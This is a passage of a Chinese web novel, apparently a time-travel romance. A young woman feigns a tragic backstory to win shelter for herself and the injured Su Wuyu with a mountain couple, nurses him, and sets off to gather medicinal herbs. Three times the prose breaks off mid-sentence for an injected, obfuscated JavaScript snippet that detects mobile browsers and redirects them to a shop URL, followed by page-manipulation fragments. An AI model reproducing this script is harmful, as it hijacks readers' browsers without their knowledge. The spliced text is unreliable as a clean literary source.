昭阳理了理情绪,深呼吸一口气,不管你门后出来的是何方神圣,为了今晚不用再当乞丐,拼了! 在她约莫敲了有四五下后,木门终于在吱呀一声响中从里面被拉开了,来人是个身材略显消瘦的中年男人,五十来岁的模样,皮肤黝黑,一身褐色布衣还打着几个补丁,显然是标准的村夫打扮。 匆匆瞥了一眼那人后,昭阳旋即迅速挤出一张苦大仇深脸,平地一声悲鸣,她顺势如林妹妹般扶风弱柳地跪坐在了地上,双手猛然握住了那村夫的裤脚,“这位好心人,求求你,救救我家相公吧。”说着还不忘硬挤出了几滴眼泪。 “我夫妇二人本是做些小买卖为生的,哪知五日前竟遇见了强盗,不仅将我们的盘缠抢尽,还将我家相公打成了这样。”陈述完这一段后,她指了指苏无虞的方向,又顺利从低声抽泣切换成了嚎啕大哭模式。 昭阳边哭边用余光去打量那屋里人的表情,大约是她的动静太大,没一会儿,里头又走出了个差不多年纪的村妇大婶,只见大婶与村夫二人此时皆是一副难以置信的表情。 当然,这样是远远不够的,昭阳赶忙用膝盖跪着挪到了墙边苏无虞的身边,期间仍不忘再落几滴泪。瞅瞅他的表情也好不到哪里去,双唇微张着,比之那屋里人简直是有过之而无不及,典型的七月半见鬼的样子,身子还在不住发抖。 昭阳看了他一眼,也顾不了许多,二话没说就狂甩着眼泪鼻涕一把将他拉到了自己的怀里,随即楚楚可怜道,“相公啊,你为何这么傻,若非为了护着我也不至于被伤成这样,只可怜了我们那还不到一岁的儿啊,他可还在等着爹娘回家呢,你若真有个三长两短,叫妾身如何独自苟活于世啊。” 反正话就撂这儿了,你们要是不救就是两条人命。 终于,在昭阳的又一阵鬼哭狼嚎下,还是那村妇先回过了神,只见她轻推了一把身旁的村夫,“还愣着干嘛,快救人啊。” …… 4. 乡间 好一番忙活后,昭阳这才得以歇下喘口气。草屋的主人是一对姓程的夫妇,膝下无子无女,几十年来一直是两人住在这山间,靠上山砍柴和做些农活为生。 程嫂将他们迎进屋后,简单收拾了下最里头的小间,而程伯则将苏无虞背进来安置在了木床上,当然昭阳也不能真把自己当客人,识相地帮着他们打打下手。 “苏官人,苏夫人,你们是如何流落至此的?咱们住在这山里头,大半年也不见有人来,这回竟是有缘啊。”忙活完的程嫂坐在小间的木桌边开口问道。 而昭阳此时正坐在苏无虞的床边,虽然这一声“苏夫人”让她全身的鸡皮疙瘩都出来报道了一次,但她还是努力做出一副憔悴不堪的模样,“程嫂快别这么说,您与程伯本就是长辈,加之又是我们的救命恩人,往后还是直接唤我们的名字吧,否则可真是折煞咱们了。” 说实话,眼见着程嫂夫妇二人如此热心地替自己与苏无虞打点,昭阳心中禁不住涌起了满满的愧疚感,早知他们是这般耿直淳朴的山里人,她就不撒这个谎了,可现如今刀都架到脖子上了,也只能继续扯下去了,“实不相瞒,我夫妇二人本是在外地做些布料生意的,前几日在这儿的县城收了账后本打算原路折回,谁想却遇上了歹人,辗转才逃至了这山中。” 程嫂与程伯二人闻言皆是一声叹息,满脸的同情,“真真是天意弄人,如今这世道真是不太平啊。” 昭阳赶忙点了点头,摆出一副欲语泪先流的架势,眨眼间原本还在侃侃而谈的屋子一下子陷入了沉默,她一时间也不知是否该继续先前的话题,只是将头垂下不语,谁知,这时自己身边的人竟突然咳嗽了起来。 刹那间屋中其余三人的目光都一齐转向了苏无虞,只见他正虚弱地倚着身后的土墙坐在木床上,一手捂着嘴不住地咳嗽,可一双肿胀的眼却很显然地望向了昭阳的方向,看得她心头骤然一紧。 天哪,他这么看着自己是想做什么,都说古代人比较实诚,他该不会是因为鄙视她这撒谎骗人的行径而想揭穿自己吧! 正在昭阳提心吊胆一颗心七上八下的当口,好巧不巧,程伯这个方才一直都是少言寡语的人竟不合时宜地推波助澜了一把,“无虞官人可是有什么话要说?”苍天啊,您老能不能别在这个时候添乱,昭阳暗叹。 好不容易有了个落脚之处,煮熟的鸭子可不能就这么飞了,昭阳想了想,必须在苏无虞开口前先发制人,即刻打响住宿保卫战。 于是,昭阳瞬间以迅雷不及掩耳之势抬首迎上苏无虞的目光,开始用饱含深情的真挚眼神盯着他好一阵猛瞧,努力用脑电波向他传递着我不要睡土坑啊,再让我喝西北风我就死给你看云云的信号,经过几天的相处,她自认为对付苏无虞这样的善良心软之人还是使出这屡试不爽的装可怜招数比较保险。 果不其然,苏无虞在发现昭阳望向他的刹那间便立刻垂下了眼眸,整个人有些无措地盯着身上的薄被,“我……这……”半响,只听他轻声支吾道,只言片语断断续续地,竟连不成一句完整的话。 小祖宗啊,这当口可千万别捅娄子了,要不然她非忍不住上前劈了他不可,昭阳在心中默默祈祷。 “无虞官人别急,且慢慢说。”程嫂倒是好心。 “我……唉,”他的头越垂越低,若不是他这时还在出声,昭阳甚至都要怀疑他是不是已经睡着了,“娘,娘子莫要伤心了。”他的声音低到几乎就要不可察觉。 娘子?昭阳狐疑地望了他一眼,噢,她怎么差点给忘了,他们现在可是落难商贾夫妇啊,等等,没想到苏无虞这小子还挺机智懂得随机应变嘛,莫非先前是她多虑了? 不过,还未容昭阳深思熟虑完,一边的程嫂早已笑出了声,“我当是怎么了呢,原来是小俩口恩爱着呢。”这哪跟哪啊,怎么就恩爱了。 “年轻人面前,你胡言乱语些什么,别没个正经。”程伯严肃的咳嗽了一声。 “我说的可都是事实,人家小夫妻恩爱怎就说不得了?倒是你,你这个老古板,年轻人的心思你懂什么。”程嫂撇了撇嘴,毫不含糊地应了回去。 “你你你,我懒得与你辩,有空在这儿胡扯不如先把饭菜热了端进来吧。”这回倒是程伯不乐意了。 “是你辩不过我吧,饭菜我自然会热,哪用你说。”程嫂虽这么说,但嘴上却是难掩的笑意,看着他们这平凡的你言我语,昭阳忽然闪过一个念头,其实所谓的幸福也不过就是如此这般吧。 程嫂言罢便准备朝外屋走去,昭阳赶忙起身想去再帮他们打打下手,哪知程嫂却一把拦住了她,“知道你这孩子懂事,可进屋后就光顾着帮咱们忙活,可别冷落了你家相公呀。”说着便笑嘻嘻地出了屋,徒留昭阳一脸抽搐地站在原地。 无奈,她只得重回了苏无虞的床边。 程伯原就是靠上山砍柴为生,所幸家里倒是有些简单的伤药,昭阳替苏无虞仔细擦洗了一遍身子后,小心翼翼地替他将每一处伤口都上了药,尤其是胸前那一道被自己缝过的,伤口虽有愈合之势,可连日来的风吹日晒还是有些化脓,恢复的并不好。 昭阳一边叹息着,一边替他换上了程伯的衣衫,这回他倒是不像第一次那么抗拒,可过程中却依旧是三缄其口,有了先前的经验,也知他活得不易,昭阳便也识趣地不再多说些什么,只一个人默默地干完了这些,而后寻了个小角落换上了程嫂给的衣裙,按她说的,这可是她年轻时候为数不多的几条罗裙之一。 这是一条通身水蓝色的花罗布裙,纵使看起来有些陈旧了,但袖口处零星点缀着的朵朵山茶花却无畏岁月的洗礼,依旧傲然盛放,简洁中却又不失俏丽。当然,头一次穿上古代女子的裙装,虽说层层叠叠的结构昭阳琢磨了老半天才给穿戴完毕,但心里总还是抱着些兴奋的。 下意识在屋里转了几个圈,底下的裙摆也开始随着她的转动而层次分明地微微散开,昭阳莫名的心情大好,几乎是蹦跳着来到了墙边的矮木柜边上准备学着古代女子好好梳妆一番,于是,她顺手拿起了柜子上的梳子和程嫂留下的几根发带就开始摆弄起来。 一会儿功夫,平日里自己最酷爱的丸子头便又再度重现江湖,可当昭阳瞥了一眼铜镜中的自己后,又不禁摇了摇头,且不说这发型和她现在的衣服之间充满了浓浓的违和感,这要是走出去,恐怕别人都要以为她是峨眉山上来的道姑呢。 看来还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548138|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得拆掉重来,于是,再次过了一段时间,一头乌黑的长发又被昭阳梳弄成了两条村姑麻花辫,这样似乎比刚刚朴实了一些,可似乎还是有哪儿不对劲,要是再来本毛大大语录拿在手上大概效果会更好,可她这又不是穿越到了动荡革命时期,怎么能弄成这样呢? 在接下来的半个时辰里,昭阳又依次试了各种发型,什么单马尾,双马尾,黑人摇滚编发,就差在头顶捏个洋葱辫了。终于,她在不知是第几次愤愤地拆掉了头发后,随手就将梳子和发带扔到了桌上,搞什么嘛,这些古代人究竟是怎么弄头发的,真是服了。 然而,就在昭阳气得吹胡子瞪眼立刻就要七窍生烟的时候,耳畔却突然传来了一个喑哑而熟悉的声音,“你若不嫌弃的话,我来替你绾吧,”她闻声抬头,只见床上的苏无虞正望着昭阳的方向,“过去我常见我娘绾发的。”他又补充道。 虽说是稍纵即逝,可他方才说话的时候,嘴角却是明显有些上扬的,似是噙着笑意。没看错吧,昭阳几乎想要揉揉自己的眼睛,苏无虞居然笑了!她一时有些楞神,竟不由自主地轻应了声。 默默地回到了他的床边,昭阳侧身朝外坐着,任由他小心翼翼地抚弄着脑后的头发。虽说苏无虞因为重伤虚弱一直未能如常人般站立过,但见他此刻坐在床上直起上身为自己绾发的样子,即使年纪上只长了她两岁,可他却足足高出昭阳一个头有余,那身子虽是清瘦了些,但却难掩粗布麻衣下的欣长挺拔,且不说他的长相究竟如何,想来待到他康复的时候,至少应也是个长身玉立的弱冠少年郎吧。 他的一双大手在昭阳的乌发间灵活地穿梭,动作温柔而轻缓,由于极度的消瘦,他的手背上青筋纵横交错,但却丝毫不影响这双手的美感,修长的十指骨节分明,若不是他宽厚掌间错落的薄茧,昭阳甚至都要以为这该是双执笔挥墨的温雅儒生之手。 嗯,等等,她现在在想什么,人家只不过是好心帮自己梳个头而已,这样子算不算是在想入非非,大事不好,赶快打住。 昭阳回了回神,猛然间觉得有些尴尬,便开始有一句没一搭的和他聊起来,“无虞啊,待会儿程嫂热了饭菜进来你可要多吃点儿,我方才拿了个包子吃,可香了。”一不小心漏出刚刚出卖队友偷吃的事实。 “嗯,你也多吃些。”他全然不在意,依旧认真地忙活着。 “唉,你说我要是能像你这样就好了,天天小鸡啄米似得吃一点点,我真怕自己再这么下去会变成个大胖墩。” “胖一些好,你如今太纤瘦了。”这话要是别人说出来昭阳还可能会信,可从苏无虞这么个形容枯槁的人嘴里说出,她怎么就觉得别扭呢。 “你别唬我了,像我这样成天想着吃,一睡又能睡整天的,想胖还不容易么。”现在想想,如她这样懒觉可以睡到昏天地暗的人,也不知这几天是怎么过的。 咦,说起睡懒觉,昭阳怎么觉得又有些不对劲呢,如果她没记错的话,这草屋里好像就只有两张床吧,程嫂程伯房里一张,苏无虞身下一张。 那自己今晚该睡在哪儿? 思及此,昭阳瞥了一眼身后的木床,不禁觉得整颗心突然如秋风扫落叶般拔凉拔凉的…… 5. 起居 广袤无垠的夜空中,月牙儿高悬在熠熠生辉的星河间,清浅的月光乘着空气中微凉的夜风播洒在这静谧祥和的山间,为峰峦叠起的大山蒙上一层难得的柔和。 昭阳托着腮帮子趴在小窗边上漫无目的地看着外头的景色,可整个人却是提不起什么劲儿。 “昭阳,你还不睡吗?”苏无虞的声音在耳畔响起。 昭阳闻言心中咯噔了一下,但为免漏出马脚,还是回首冲着他莞尔而笑,“今晚的星星真是漂亮呢,我还想多看一会儿。” “可你都已经看了三个时辰了,”他的神色颇有些黯然,转而又叹了口气,“昭阳,其实你不必如此,我的身子没你想的那么糟,我可以睡地上不碍事的。” 这回轮到昭阳愣神了,虽说这在古代孤男寡女共睡一张床确是有伤风化,可好歹她的思维也是先进了几千年的,即使心里觉得有些别扭但也不至于那么迂腐,自知这只不过是非常时刻的非常对策罢了。况且前几日露宿野外的时候,为了取暖昭阳可都是挨着他睡的,现如今只不过是把黄土换成了木床,这般说来她委实还该举杯庆贺一番呢。 其实,昭阳如此仰望星空,饱含忧思,故作万分黯然神伤之态只不过是在思索另一个问题罢了。今日傍晚她究竟是如何鬼迷了心窍,才会因为苏无虞不经意间的一个笑容而在脑海中胡思乱想的勾勒起他的容貌。 思前想后,昭阳记起明朝有个谁写过一句话——饱暖思淫.欲,故而她由此推测,大概是因为自己偷吃了程嫂一个包子,又穿了干净的衣裳,因此有了饱暖之感,才会突然做出此等少女怀春之事,实在可耻,都说色字头上一把刀,她连苏无虞这样容貌都没显现出的人都把持不住,看来着实是资历尚浅啊。 思及此,昭阳忍不住在心中为自己的定力长叹哀悼,但为怕苏无虞多想,脸上又赶忙堆起了晴空万里招牌笑容,“想什么呢你,大丈夫能屈能伸,哦不,我是说江湖儿女不拘小节,我像是拘泥于此等俗事之人吗?”言罢不忘干笑三声。 “你怎又成江湖儿女了?”苏无虞见她突然从悲天悯人深闺怨妇变成了满腔豪情一代女侠,脸上不禁写满了错愕,“那你缘何在窗边站了那么久?”他似乎还是不大相信。 “因为星星好看呀,”昭阳开始矫饰伪行起心里的那点小九九,“你不知道,在我那边曾经有个亡国但却很有文学造诣的君主叫李煜,他写过一首诗,好像是‘迢迢牵牛星,杳在河之阳。粲粲黄姑女,耿耿遥相望。’我突然想到了,就想多看看牵牛星呗。” “可七夕早已过了,眼下便要入秋,你确定你找得到牵牛星吗?”他依旧锲而不舍。 昭阳脑后一排黑线,还真是个没有幽默感的男人,无可奈何,她只得阖上了小木窗,悻悻地挪步到了床边。 幸而她机智,方才就对程嫂说因为苏无虞受了重伤,为怕夜里翻身弄疼他,就索性向程嫂要了两床被子,故而昭阳此刻吹熄了床头的蜡烛后,便一溜烟滚进了自己的小被窝。 苏无虞对她这一气呵成的系列动作显然感到有些茫然,不过因为熄了灯所以昭阳看不到他的表情,只听得他在黑暗中轻咳了几声后便也兀自躺下了。 因为行动不便,苏无虞睡在靠墙的里侧,昭阳起初是面朝着外睡的,但这么生生躺下竟也无甚睡意,又继续胡思乱想了一番后,她很自然地翻了个身,却见身旁的人此时正侧身面对着她睡,他的被子盖到胸口,露出两条修长的手臂。 昭阳忆起十来分钟前他还曾又咳了两声,料想他也还没入睡,便突然玩心大起,决定用不正当手段打击报复一下他刚刚又拆自己台这一恶习。 昭阳故意朝里挪了挪身子,看准了时机便顺势一把抱住了他压于身下的那只手臂,果不其然,他整个人都颤抖了一下,此举正中她下怀。没记错的话他的这只手臂上除了一些陈年旧疤以外并无新伤,于是,昭阳便心安理得地将头凑了过去,愣是将他的手臂当成了抱枕。 怀里多了样东西,就如小时候入睡前都要抱着的小熊布偶一般,总是莫名地让人涌起一丝安全感,苏无虞整个人先是一愣,但又怕昭阳已经睡着了,不敢惊扰她,便就这么由她抱着而不抽手,昭阳虽有些疑惑,但也不想放走了这大好的抱枕,遂决定难得糊涂一次。 说也奇怪,得了这真人抱枕后没多久,昭阳便沉沉地睡去了,再醒来之时,竟早已是日上三竿。 这么多天来总算是睡了个好觉,和煦明媚的阳光透过小窗斜映在黄土地上,昭阳揉了揉眼睛,整个人满意地在床上扭来扭去伸了个懒腰,为了松松筋骨,她又给自己翻了个身。 谁知,这刚一侧身,便遇上了一对闪烁着几分讶异的眸子,见鬼,她怎么给忘了身边还睡着个男人呢。昭阳的脑袋一下清醒了不少,只见此刻的苏无虞只着一袭白色中衣,肩上还披着程伯的褐色布外套,他倚墙坐在床上垂首望着自己,手里似乎还端着个白色的瓷碗。 昭阳不禁觉得大脑都有点儿发麻,她刚刚是发什么神经呢,整个人活像一条巨型蚯蚓,准是把苏无虞给吓到了。于是,昭阳颇有些不好意思地用手支起身子坐了起来,略带着点儿尴尬地说道,“你醒啦。”废话,这不是显而易见的事。 他轻点了点头,说话间双眼便又低垂着望向了手中的瓷碗,“方才程嫂端来了早膳,我见你睡的沉便没有叫醒你,眼下既然醒了,便趁热吃吧。” 昭阳大窘,作为一个寄人篱下的住客她本该早起帮着程嫂他们做些家务活儿的,没想到却又被懒虫附体,心中不免有些恼自己,便忿忿地起身套了外衣,暗下决心明儿个一定要闻鸡起舞。 一番洗漱后,她仍未平复自己的内疚之情,于是,为了宣泄心中情感,昭阳几乎是一股脑地喝完了程嫂留在桌上的一碗白粥和一个包子,随手抹了抹嘴后,她又瞥了一眼苏无虞,只见他握着瓷碗的大手微有些颤抖,而碗中的白粥则几乎未动。 看来他的双手还是使不上什么力气,可如此这般下去他一定会被他自己给饿死的,昭阳微叹一口气,好歹经过这几天的相处,自己与他虽不说是什么生死之交,但至少也算得上是革命战友了,如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548139|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见死不救实在有些缺德。 一番心理斗争后,昭阳从桌边站起,旋即便摆出一副大义凛然之势回到了床边坐下,苏无虞颇有些莫名地望着来势汹汹的昭阳,只见她一把抢过了他手中的碗,二话没说,伸手便舀起一勺白粥放到嘴边吹了吹。 半响,苏无虞似是明白了些什么,“我不饿,你若是吃不够且将我的……”哪知,他的话还未说完,便被昭阳瞪了一眼,紧接着又生生被一勺白粥堵住了嘴。 “想什么呢,我哪是这样的人,先前的野果你若是觉得喉咙咽着不舒服,少吃便少吃了,可这白粥你要再不吃就真是太不乖了,虽说味道是清淡了点儿,但你眼下身上有伤,吃不得其它的。”说着,昭阳又舀起一勺吹了起来。 “不,不乖?”他喃喃出声。 昭阳小心翼翼地先将一勺粥送入他的口中,而后才不紧不慢地哄道,“当然是不乖了,你这般挑食,人三岁小童都比你吃得多呢。” 苏无虞闻言又低下了头不再出声,好在倒是没有拒绝昭阳的喂食,许是因为喉咙的不适,他吃得很慢很慢,不过昭阳倒也并无甚介意,反正闲着也是闲着,于是便耐心地一勺一勺喂进他口里。 好一会儿,苏无虞才将这一小碗白粥给喝完,大功告成的昭阳不免有些得意,其实他也是能喝完一整碗粥的嘛,当然,这一大半还得归属于她的功劳,“你好好歇着,过会儿我再来给你换药”。昭阳边收拾着桌子边冲苏无虞笑了笑,难得有当护工还能当得像她这么乐呵的。 不一会儿功夫,昭阳便端着碗筷进了厨房准备好好表现一下,程嫂起初是说什么也不愿让她干活的,但最终还是拗不过昭阳的软磨硬泡,便让她帮着一道洗洗菜。 “咦,程伯这是在做什么?”昭阳边洗边透过小木窗,望见外头院子里的程伯正在卖力地磨着一把陈旧的镰刀,奇了怪了,砍柴应该不用镰刀吧。 程嫂倒也见怪不怪,只自顾自地切着菜,连头也不抬,“他呀,这是为了过阵子进山里采梅兰藤做准备呢。” “梅兰藤?这是个什么?”昭阳好奇地问道,梅兰芳倒是听过,这梅兰藤还真不知道是什么东西。 “昭阳丫头你是外乡来的故而有所不知,咱这座山叫梅山,便是因了这梅兰藤的缘故,据传这是一种上好的滋补养生药材,一年只在这个季节有,是故每年这个时节药庄都会遣人专收这玩意,咱山里人为了糊口,便会采些去县城卖。”程嫂耐心地解释道。 “一年中只这个时节有,又是上等的补药,那这药庄的收价应不会太低吧?”作为一个经济学专业的学生,昭阳对钱总是比别人要敏锐一些的。 “那可不,咱这大山离县城又远,花销也拮据得很,往往这一趟够凑活大半年的开销呢。”程嫂坦然道,的确,按她说的,从这儿去县城来回得花上四五天的脚程呢,谁没事老往城里跑呀。 昭阳琢磨着程嫂的话,脑中不禁冒出了一个念头,赶忙追问,“那程伯何时启程呢?” “约莫七八日后吧。” …… 6. 进山 这一日晚上,窗外乌云滚滚,往日里调皮的月牙儿也躲进了云层之中,呈犹抱琵琶半遮面的娇羞状,山风阵阵吹来,不免让人觉得有些阴冷,真真是个偷鸡摸狗,奸计得逞的好日子。 映着桌上的半截红烛,昭阳整个人趴在床上绣着她那半吊子的十字绣,既然把它带来了也是缘分,所以她决定有始有终地将它绣完。一旁的苏无虞倒是不像昭阳如此不务正业,他的薄被半搭在身上,腿上堆了一小捆干草,手上正忙不迭地编着一个小草筐。 经过这些天的调养,他的伤口都在渐渐愈合,眼也能睁开一大半了,整张脸不似从前般那么肿,一下子像是小了一圈。 每每夜幕降临,他们俩经常会像这样兀自沉默着忙活自己的,倒是真有点老夫老妻的味道。而在白天,很多时候苏无虞也总是这么安安静静的,不睡觉的时候会发发呆,要么就是在昭阳的允许之下做些编草筐这样的轻活,每当这个时候,昭阳又总会鬼摸脑壳般在脑海中蹦跶出譬如岁月静好、现世安稳这类矫情的词。 这不,在第三十八次终结了自己的臆想后,昭阳突然想到了还有正事未办,借着昏黄的烛光,她偷瞟了一眼身旁的人,清了清嗓子,“无虞啊,你觉得这几天过得怎么样呢?” 苏无虞许是没想到昭阳会这么问,先是愣了愣,而后才缓缓吐出三个字,“很开心。” “嗯,我也很开心,”昭阳几乎是脱口而出,“这山里环境好,空气好,待你身子好了我再教你耍耍太极拳什么的,噢,就是我这几日教程嫂程伯的那套,包你延年益寿。” 哪知,苏无虞听罢昭阳的话,原先望着她的眸子却似有些暗了下来,他垂首继续忙着手上的活儿,只轻说了声“好。” 昭阳被他这没由来的反应弄得有些摸不着头脑,心中纳闷,看来他并不喜欢打太极啊,也是,这都是上了年纪的人爱耍的东西,自己还是不要强迫他为好,于是又继续恢复正题,“那你觉得程嫂和程伯待我们可好?” 这回苏无虞倒是不说话了,只见他放下了手上的草筐,转而又重新抬首迎上了昭阳的目光,“昭阳,你是不是有什么话要对我说。” 咳,她掩藏的有这么差吗,不过既然这么快便被苏无虞发现了自己的心思,昭阳倒也懒得拐弯抹角了,索性开门见山道,“是这样的,后天我想和程伯一起启程去采梅兰藤。” 话音刚落,只见一旁的苏无虞听后怔愣了片刻,脸上的惊讶之色一闪而过,转而淡然地开口道,“你与我说这话,心里头是怎么想的?” “嗯?什么意思?”什么怎么想,想去采药啊,昭阳在心中暗自嘀咕。 他轻叹了一口气,“你只是想知会我一声,还是,还是想与我商榷。” “自然是在与你商榷了。”昭阳不假思索。 苏无虞听罢似是松了口气,可眸子却又垂下不再看昭阳,只低声道,“若你只是知会我,我自然无话可说,但你若是与我商榷,我,我是不愿你去的。” 好小子可真会说话,绕了个圈子楞是挖坑让自己跳啊,不过昭阳也早料到他不会那么容易同意的,这不还是兵来将挡,“程嫂与程伯待我们这么好,我们给人家添了这么多麻烦,我是想多个人的话便可以多采些那什么藤卖钱嘛。”昭阳也放下手中的十字绣,转而以一种矫情至极的柔弱诚恳之态望向苏无虞。 昭阳满含期盼地眨巴着眼睛,本以为此招屡试不爽的,可没想到偏偏今晚竟然老马失蹄了,“你这样看我也没用,梅兰藤长于深山,你一个姑娘家去实在不安全,我也知给程伯他们添了许多麻烦,待我好些了便去帮着程伯一起砍柴,你且不要担心了。”说罢,他竟还将脸别了过去不再看昭阳。 “那怎么行,即便你身子好些了也还是要多歇歇的。”昭阳为他的行为震惊之余,很快又在心中上升了一级备战状态,看来得再放一招狠的了。 于是,只见她迅速带着被窝朝苏无虞身边挤了挤,紧接着伸手扯了扯他的衣角,脸上则是努力呈楚楚可怜状,“无虞啊,你是知道的,我这个人最受不得就是欠人家情了,何况还是救命之恩,你看我这几天为了思索如何报恩简直是寝食难安,我怎么觉得自己瘦了好多呢,头好像也有点晕,再这么茶不思饭不想下去,我只怕……唉。” “真的?”苏无虞有些将信将疑地回首望向昭阳,思索了片刻道,“可我怎么觉着你夜里睡得挺沉。” “我这不是怕吵着你嘛,其实我是在安静的思考啦,你不信吗?你昨天夜里一共咳了三十三下才睡着的,前天是四十二下,大前天是四十下,大大前天是……”为了证明自己的清白,昭阳开始举例说明,而事实也表明她的胡诌技巧尚可。 此时的苏无虞颇有些错愕地望着身边的人儿,少女原先肤若凝脂的明媚脸蛋此刻在昏黄的灯光下蒙上一层柔和,一对乌黑而透亮的眸子灵活地转溜了一圈后直勾勾地望向他,经过这么多天的相处,他又岂会不知她此刻定是又在心中盘算着什么小九九了,可当他瞥见那眸中时不时闪烁而出的期许之后,却又怎么也狠不下心去戳穿她。 不过,这事毕竟关乎到她的安全,他必然没那么容易妥协,“可你方才还吃了个包子呢。”于是,苏无虞又柔着声换了副说辞。 哪知,说到这儿,昭阳就更加振振有词起来了,“那还不是因为我白天都没怎么吃东西,我都是与你一道吃的,你不会不知道的,我白天只喝了半碗小米粥,那是愁的呀。”其实是因为她偷偷在厨房吃了一个烤地瓜,所以不饿。 苏无虞闻言,忆起白天她的反常举动,这回总算是低头不语了。昭阳在一旁将他的情绪尽收眼底,以这些日子自己对他的了解,他这副样子八成已经有点儿动摇了,于是连忙趁胜追击,“我知道你是怕我出事,我向你保证我一定会特别小心的。”说着还不忘继续来回扯着他的衣角,就差冲他摇尾巴了。 沉默了半响,但见苏无虞紧抿的嘴唇终于松了松,“头还晕吗?”他颇为担心地问道。昭阳赶忙委屈地点头,片刻,只听他又一声叹息,“切记一定要跟紧程伯,万事都得听他的,明白吗?” 昭阳闻言如获大赦,赶忙拼命点头,“明白明白,我就知道无虞你最好了。”说着,由于过度的兴奋,也没多想,她一把拽过苏无虞的胳膊直接就用脸在上面蹭了蹭,不过很显然,他似乎被她这特殊的庆祝方式吓到了,整个身体又是明显的一僵。 至此,进山一事就算这么尘埃落定了,虽然夜里睡的时候昭阳还突然有点儿纳闷,她干嘛非要把所有行踪都给他汇报一遍还硬是要征得他的同意呢?她甚至有些怀疑苏无虞之前真的是奴隶吗,为什么到了她这儿他反而更像是主子呢,唉,莫非真的是翻身农奴把歌唱了吗?昭阳百思不解,好一会儿才带着莫名的情绪渐渐进入梦乡。 而后边的一整天,不外乎是程嫂帮着一起整理了必须的行装和工具,就这样,昭阳终于和程伯如期踏上了进山之路。 说起进山,昭阳尤记得临行的那天,她与程伯一人背着一个行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548140|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 囊,手里各执了一把镰刀,程嫂搀着硬要下床的苏无虞在门口挥着手送他们,颇有热泪盈眶之势,好在一旁的苏无虞则淡定许多,只定定地凝望着他们的方向。但就是这样一幅光景,总让昭阳有种错觉她和程伯不是进山采药而是要被拉去充军,这正是临了前和他们各自的家属见上最后一面的悲壮景象。 于是,就在他们这么一步一回头中,草屋的影子渐渐远了,直至彻底消失不见,昭阳与程伯这才恢复了正常的脚程开始赶路。程伯这人平时话虽不多,但却是个标准的实诚庄稼汉,待人也极是和蔼细心,故而昭阳跟着他一起去采药一路上倒是没有想象那么累。 在走了约莫有两日后,他们终于进入了梅山深处,说实话,这儿确实有够鸟不拉屎的,除了树还是树,而且杂草旺盛,要寻个梅兰藤着实不易。不过,好在程伯耐心地采了一株给昭阳讲解,她这才和它稍微熟络了一点儿,顺带开展起了此次报恩行动。 某日,昭阳正拿着镰刀割开杂草艰难前行,这些天为了增加效率,她与程伯都是以一个地点为圆心分头寻找的,当然这天也不例外。 然而,正当昭阳辛勤作业之时,一些异样的声音飘入耳中,她循着声音继续前行,脸上竟渐渐被淅淅沥沥的水雾打湿,想想一个人一连好些天都只和绿色植物打交道该有多么无聊,于是,前方的异样很自然便引起了昭阳的兴趣。 终于,在几乎是披荆斩棘过后,随着最后一片半人高的杂草丛倒地,一方清澈见底的水面映入眼帘,虽然昭阳心里多少猜到了几分,但当她亲眼看到那些从波澜不惊的池面上袅袅升腾而起的白色水雾时,还是不禁心潮澎湃,想不到这儿竟然有个天然大温泉! 昭阳一时情难自已,眼见着就要喜极而泣,要知道对于一个几天都没有好好洗过澡的人来说这是多大的一份恩赐啊,伴随着哗哗的入水声,她只觉自己就快落泪了。 咦?等等,似乎有什么事情不对啊,昭阳垂首看了看自己仍站在泥地上的双脚,虽然迫不及待,可她这还没进去呢,那这水声又是从何而来?听着像是从右边发出的,可恨几颗老树挡住了视线。 脑中的警戒线瞬间提升,要知道这荒山野岭的最不缺就是飞禽走兽,万一这要是倒霉点儿赶上什么老虎黑熊之类的,那她还不得小命玩完。昭阳第一反应是三十六计走为上,可刚要抬脚又觉自己一个大活人动静太大,万一引起它的注意,这要是扑上来她不还是照样得挂,一时间陷入僵局,昭阳只觉走也不是,留也不是。 所幸,环顾四周,发现在她身边三步处有一块和自己差不多高的大石,冷静思索片刻,昭阳定了定神,决定先以此为屏障探一下对方虚实,指不准只是几只大鸟闹着玩呢。 于是,昭阳猫着身子蹑手蹑脚的趴到了大石边上,深呼吸一口气,慢慢探出了脑袋,透过缭绕的水雾,视线虽有些模糊,可丝毫不影响她窥视敌情。 果不其然,仔细寻找了一通后,昭阳发现约莫十米开外还真有个什么东西立于水中。不过,那似乎并不是什么猛兽,而是……一个欣长的人影。 